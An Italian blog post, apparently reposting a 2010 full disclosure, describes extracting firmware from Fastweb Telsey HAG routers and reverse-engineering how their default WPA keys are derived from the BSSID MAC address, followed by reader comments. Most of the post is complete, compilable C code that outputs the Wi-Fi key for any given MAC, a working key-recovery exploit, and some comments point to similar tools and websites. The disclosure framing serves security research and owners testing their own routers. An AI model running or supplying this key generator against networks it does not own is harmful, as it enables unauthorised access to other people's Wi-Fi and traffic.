Skip to content


HowTo: Algoritmo di generazione delle WPA dei router Fastweb

Articolo a cura di Giuseppe Ragozzino

Introduzione

In questo articolo parleremo del procedimento che abbiamo usato per scoprire l'algortitmo di generazione delle chiavi WPA nei router fastweb HAG Telsey, distribuiti dalla società Fastweb.

Pre-Analisi del Firmware

Il Firmware è composto tra diversi binari e un file eseguibile, compilato per processori aventi un'architettura MIPS32, chiamato key_gen che contiene l'istruzioni che portano al calcolo della wpa. L'algoritmo riguarda tutti i router che hanno un SSID del tipo FASTWEB-1-002196XXXXXX o FASTWEB-1-00036FXXXXXX.

Estrazione del Firmware

Per estrarre il firmware del seguente router abbiamo avuto bisogno dell'accesso alla console seriale dell'apparecchio.

Ciò è stato possibile grazie all'estrapolazione di resistenze fra i contatti TX e RX che andavano a collegarsi con la CPU, e creando dei ponticelli tra i rispettivi pin Vcc con i pin RX e TX. La CPU è una BCM96358 e quindi MIPS32 BigEndian, dettaglio importante per reversare l'eseguibile. Una volta saldati i pin di connessione tra di loro e dopo aver impostato i parametri di comunicazione, che sono 115200 baud/s, 8data bit e flow control Xon/Xoff, la console è risultata accessibile e abbiamo potuto verificare che il file key_gen si trovasse nella cartella /bin. A questo punto abbiamo effettuato il dump dell'intero firmware e diversi altri file che venivano richiamati dall'eseguibile key_gen.

Reverse engineering del Firmware e spiegazioni di parte del codice

Una volta avuto l'intero Firmware l'abbiamo analizzato con il noto programma di decompilazione IDA, e abbiamo scoperto che all'interno del file key_gen è pur vero che sono chiamate altre librerie, ma queste non sono necessarie poichè sono solo librerie di runtime, quindi per capire come agiva l'algoritmo ci è bastato solo studiare il contenuto di key_gen. Nell'algoritmo vengono trattati il MAC Address BSSID dell'apparato, di cui ogni coppia di cifre viene trattata come 1 byte, per un complessivo, quindi, di 6 byte.

Per prima cosa viene creato un vettore di 256 byte e il MAC viene trattato come una sequenza di byte secondo una permutazione statica a blocchi di 4 byte ciascuno. Come vediamo dall'algoritmo il primo schema di MAC generico è per il seguente primo MAC 11:22:33:44:55:66, cioè 112233445566, quindi lo schema diventa il seguente (sempre considerando che l'architettura è MIPS32 big-endian e che quindi i byte saranno copiati in memoria nell'ordine della quartina):

66221166,22112266,55334433,55443333,33553311,33664422,11551122,22552211,
33553333,44224455,55225544,66226666,33221166,22112222,55332244,44446633
55556655,66225511,33661166,33224466,66333355,33442255,11555544,44116644,
55441111,44332222,33223366,22445544,11334455,11113333,11111166,22222255,
55113333,44444411,11335522,66666611,11556611,22226633,33336622,44443344,
22113355,22663366,11225511,22222255,33333333,44444444,66551122,55116666,
22116611,11226622,33335533,44555544,55442266,66662255,44112266,44221155,
55333366,55444422,33554411,33446622,44223344,66112233,66445522,11334411.

Ogni vettore dello schema è costituito da 64 blocchi di 4 byte, e ogni singolo blocco di un vettore viene salvato in memoria in modo da formare un intero a 32bit, in cui il byte significativo è il primo per poi proseguire nell'elenco. Una volta riempito il vettore troviamo una funzione hashword in cui il vettore viene processato in modo iterativo un blocco alla volta dando come risultato una sequenza di 4 byte espressa in esadecimale che verrà chiamata S1. La funzione hashword è la seguente:


uint32_t hashword(const uint32_t*, /* the key, an array of uint32_t values */
size_t , /* the length of the key, in uint32_ts */
uint32_t); /* the previous hash, or an arbitrary value */

Come vediamo la funzione prende in ingresso un array di elementi a 32 bit, una dimensione int, e un valore di inizializzazione posto uguale a 0, quest'ultimo valore in seguito diventerà il valore ricavato dal ouptut del precedente ciclo, tutto questo avviene per 64 cicli in modo tale da scorrere l'intero vettore. In seguito si dovrà ottenere un nuovo vettore da 256 byte ricavato dal primo al quale vengono applicate alcune operazioni aritmetiche (LeftShift e RightShift) ad ogni blocco di byte.

Fatto ciò l’algoritmo riapplica la funzione hashword al nuovo vettore ottenenedo una nuova sequenza di 4 byte espressa in esadecimale, che chiameremo S2. Avuto i valori S1 e S2 possiamo ricavare la WPA finale, che si ottiene prendendo le ultime 5 cifre dell'S1 e le prime 5 cifre dell'S2.

A tal fine possiamo concludere che i router HAG Telsey distribuiti da Fastweb che sembravano invulnerabili, in realtà lo sono. Chi volesse testare la propria sicurezza può compilare il codice seguente, lanciarlo e poi cambiare WPA di corsa!

Codice

Ecco il codice da compilare per effettuare dei test sulla propria rete:

#include <string.h>
#include <sys/param.h>
#ifdef linux
#include <endian.h>
#endif

#if (defined(__BYTE_ORDER) && defined(__LITTLE_ENDIAN) && \
     __BYTE_ORDER == __LITTLE_ENDIAN) || \
    (defined(i386) || defined(__i386__) || defined(__i486__) || \
     defined(__i586__) || defined(__i686__) || defined(vax) || defined(MIPSEL))
#define L_ENDIAN 1
#elif (defined(__BYTE_ORDER) && defined(__BIG_ENDIAN) && \
       __BYTE_ORDER == __BIG_ENDIAN) || \
      (defined(sparc) || defined(POWERPC) || defined(mc68000) || defined(sel))
#undef L_ENDIAN
#endif

#define rot(x,k) (((x)<<(k)) | ((x)>>(32-(k))))

#define mix(a,b,c) \
{ \
  a -= c;  a ^= rot(c, 4);  c += b; \
  b -= a;  b ^= rot(a, 6);  a += c; \
  c -= b;  c ^= rot(b, 8);  b += a; \
  a -= c;  a ^= rot(c,16);  c += b; \
  b -= a;  b ^= rot(a,19);  a += c; \
  c -= b;  c ^= rot(b, 4);  b += a; \
}

#define final(a,b,c) \
{ \
  c ^= b; c -= rot(b,14); \
  a ^= c; a -= rot(c,11); \
  b ^= a; b -= rot(a,25); \
  c ^= b; c -= rot(b,16); \
  a ^= c; a -= rot(c,4);  \
  b ^= a; b -= rot(a,14); \
  c ^= b; c -= rot(b,24); \
}

#define DEBUG 1

uint8_t      mac[6];
uint32_t rTable[64];
uint8_t pTable[256] = {
    6,2,1,6,2,1,2,6,5,3,4,3,5,4,3,3,3,5,3,1,3,6,4,2,1,5,1,2,2,5,2,1,
    3,5,3,3,4,2,4,5,5,2,5,4,6,2,6,6,3,2,1,6,2,1,2,2,5,3,2,4,4,4,6,3,
    5,5,6,5,6,2,5,1,3,6,1,6,3,2,4,6,6,3,3,5,3,4,2,5,1,5,5,4,4,1,6,4,
    5,4,1,1,4,3,2,2,3,2,3,6,2,4,5,4,1,3,4,5,1,1,3,3,1,1,1,6,2,2,2,5,
    5,1,3,3,4,4,4,1,1,3,5,2,6,6,6,1,1,5,6,1,2,2,6,3,3,3,6,2,4,4,3,4,
    2,1,3,5,2,6,3,6,1,2,5,1,2,2,2,5,3,3,3,3,4,4,4,4,6,5,1,2,5,1,6,6,
    2,1,6,1,1,2,6,2,3,3,5,3,4,5,5,4,5,4,2,6,6,6,2,5,4,1,2,6,4,2,1,5,
    5,3,3,6,5,4,4,2,3,5,4,1,3,4,6,2,4,2,3,4,6,1,2,3,6,4,5,2,1,3,4,1
};

uint32_t hashword(const uint32_t *k, size_t length, uint32_t initval)
{
    uint32_t a,b,c;
    a = b = c = 0xdeadbeef + (((uint32_t)length)<<2) + initval;
    while (length > 3) {a += k[0]; b += k[1]; c += k[2]; mix(a,b,c); length -= 3; k += 3;}
    switch(length) {case 3 : c+=k[2]; case 2 : b+=k[1]; case 1 : a+=k[0]; final(a,b,c); case 0: break;}
    return c;
}

void parseMac(char *m)
{
    mac[0] = (uint8_t)(strtoul(m+0,0,16) & 0xff);
    mac[1] = (uint8_t)(strtoul(m+3,0,16) & 0xff);
    mac[2] = (uint8_t)(strtoul(m+6,0,16) & 0xff);
    mac[3] = (uint8_t)(strtoul(m+9,0,16) & 0xff);
    mac[4] = (uint8_t)(strtoul(m+12,0,16) & 0xff);
    mac[5] = (uint8_t)(strtoul(m+15,0,16) & 0xff);
    return;
}

void createTable(void)
{
#ifdef DEBUG
    printf("mac address (bssid): %02x:%02x:%02x:%02x:%02x:%02x\n",
     mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
    printf("\npermuTable indexes: ");
    uint8_t *p;
    p = pTable;
    while(*p) {
     printf("%x", *p);
     ++p;
    }
    printf("\n\npermuTable values: ");
#endif
    uint8_t i, j;
    memset((void *)&rTable, 0x0, sizeof(rTable));
    for (i = 0; i < 64; i++) {
     for (j = 0; j < 4; j++) {
       #ifdef L_ENDIAN
        rTable[i] <<= 8;
        rTable[i] |= mac[pTable[(i*4)+j]-1];
       #else
        rTable[i] >>= 8;
        rTable[i] |= mac[pTable[(i*4)+j]-1] << 24;
       #endif
     }
     #ifdef DEBUG
       printf("%#x ", rTable[i]);
     #endif
    }
}

void createWpa(void)
{
    uint8_t i;
    uint32_t s1 = 0, s2 = 0;

    for (i=0;i<64;++i)
     s1 = hashword(rTable,i,s1);

    #ifdef DEBUG
     printf("\n\ns1 hashword is: %x\n", s1);
    #endif
    s1 &= 0x000fffff;
    #ifdef DEBUG
     printf("s1 & 0x000fffff is: %x\n\npermuTable2 values: ", s1);
    #endif

    for (i=0;i<64;++i) {
          if (i < 8 ) rTable[i] <<= 3;
     else if (i < 16) rTable[i] >>= 5;
     else if (i < 32) rTable[i] >>= 2;
        else rTable[i] <<= 7;
        #ifdef DEBUG
               printf("%#x ", rTable[i]);
        #endif
    }

    for (i=0;i<64;++i)
       s2 = hashword(rTable,i,s2);

    #ifdef DEBUG
      printf("\n\ns2 hashword is: %x\n", s2);
    #endif

     s2 &= 0xfffff000;
     s2 >>= 12;

    #ifdef DEBUG
     printf("s2 & 0xfffff000 is: %x\n", s2);
    #endif

    printf("\nwpa: %05x%05x\n\n", s1, s2);

    return;
}

int main(int argc, char *argv[])
{
    if (argc < 2) exit(0);
    char *m = argv[1];
    if (strlen(m) != 17) exit(0);

    #ifdef DEBUG
     printf("\nFastWEB Telsey WPA Recovery\n\t\t-\n");
     printf("\nDebug mode is ON, printing stuff to stdout\n\n");
    #endif

    parseMac(m);
    createTable();
    createWpa();

    return 0;
}

Oscene.net non si assume alcuna responsabilità per l'uso che verrà fatto dell'algoritmo presentato, nè dall'uso del sorgente che vi propone. Le tecniche e il codice sono presentati  solo a scopo divulgativo.

Fonte: http://wifiresearchers.wordpress.com/2010/09/09/telsey-fastweb-full-disclosure/

Be Sociable, Share!

Posted in Sicurezza.

Tagged with , , , , , , .


17 Responses

Stay in touch with the conversation, subscribe to the RSS feed for comments on this post.

  1. Aleritty says

    Ehi, lo studio non è originale tuo, che ne diresti di pubblicare le fonti?

  2. Antonio Barba says

    Aggiunto, mi scuso per la svista

  3. Tony says

    Ciao ragazzi, se vi interessa qui sono presenti tutti e tre gli algoritmi pubblicati dalla crew. Sono due per i router FASTWEB (Telsey e Pirelli) e quello per il route AGPF Alice di Telecom.

  4. pinco says

    “Le tecniche e il codice sono presentati solo a scopo divulgativo.”

    divulgativo?!?
    forse volevi dire didattico

  5. pallino says

    quoto pinco…

  6. Antonio Barba says

    @pinco pallino: Una cosa è parlare per frasi fatte, un’altra è parlare correttamente in Italiano, usando i termini e le espressioni più opportune.

    “Divulgare” è un verbo della lingua italiana che si addice perfettamente allo scopo di questo articolo, cioè diffondere ai più un fatto poco noto.
    Lo scopo è “didattico” quando si insegna un argomento nuovo.

    Qui non c’è niente da insegnare, si sta divulgando una scoperta.

  7. Antonio Barba says

    @Tony: Ciao, grazie della segnalazione. Come vedi abbiamo preso come fonte proprio il sito che ci indichi (è scritto in basso, alla fine dell’articolo).
    Penso che in seguito pubblicheremo anche gli altri due, per diffondere le notevoli scoperte della White Hat Crew.

    Ciao, a presto!

  8. Tony says

    Ciao Antonio, secondo me la cosa più importante è diffondere la “conoscenza”! Io nel mio piccolo ho appena aperto un blog sul quale sto scrivendo una serie di articoli sul protocollo TCP/IP rigorosamente in italiano…visto che la documentazione nella nostra lingua è molto scarsa e articoli in genere sulla sicurezza informatica. Se ti va puoi ripubblicare qualcosa anche qui… Al momento sono alle prese con l’articolo sul protocollo ARP, che a dire il vero è semplicissimo, ma tra lavoro e altro mi manca il tempo… (pensa quando arriverò al TCP…)
    Saluti e continuate così!
    P.S. Anche tu ti trovi nella capitale con Salvo o sei a PA?
    P.P.S. Non ragionam di lor , ma guarda e passa!!! (ma hai visto i nomi :-)

  9. Antonio Barba says

    @Tony: ottimo, ti seguirò con piacere!
    Io sono “nell’altra” capitale (quella della finanza), città relativamente piccola rispetto a Roma, ma molto stimolante per il mio lavoro :-)
    Complimenti per la tua iniziativa, sono sicuramente argomenti molto interessanti, soprattutto quelli relativi alla sicurezza :-)

    Ciao!

  10. blacksquirrel says

    Complimenti.

  11. R_S says

    grazie ;)

  12. The crows says

    abbiamo un programma??

  13. Salvatore Barbera says

    @The crows: http://www.salvatorefresta.net/index.php/tools take a look! :)

  14. albatr0ss says

    c’è ne sono a iosa basta cercare su google e trovi anche i siti web che te lo fanno in tempo reale…. per non parlare di applicativi per “handheld devices” chi cerca trova :-)

  15. R_S says

    @albatr0ss: il nostro scopo non è quello di craccare la rete wifi in maniera più veloce possibile, ma di capire come funziona l’algoritmo. Altrimenti veniva scritto del codice in vb.net ed il gioco era fatto.

  16. albatr0ss says

    @R_S infatti mica era riferito a voi…

  17. R_S says

    @albatr0ss: allora scusa ho frainteso.



Some HTML is OK

or, reply to this post via trackback.